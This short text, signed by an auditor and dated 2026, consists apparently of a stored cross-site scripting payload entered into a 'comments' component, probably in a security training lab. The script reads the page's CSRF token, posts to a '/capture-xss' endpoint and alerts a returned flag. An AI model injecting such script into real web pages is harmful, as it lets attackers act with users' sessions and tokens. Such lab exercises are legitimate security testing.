Auditor J.M.L.A.
20/09/2026
<script>fetch('/capture-xss',{method:'POST',headers:{'Content-Type':'application/json','Accept':'application/json','X-CSRF-TOKEN':document.querySelector('meta[name="csrf-token"]').content},body:JSON.stringify({componente:'comments'})}).then(r=>r.json()).then(d=>alert('FLAG comments = '+d.flag))</script>
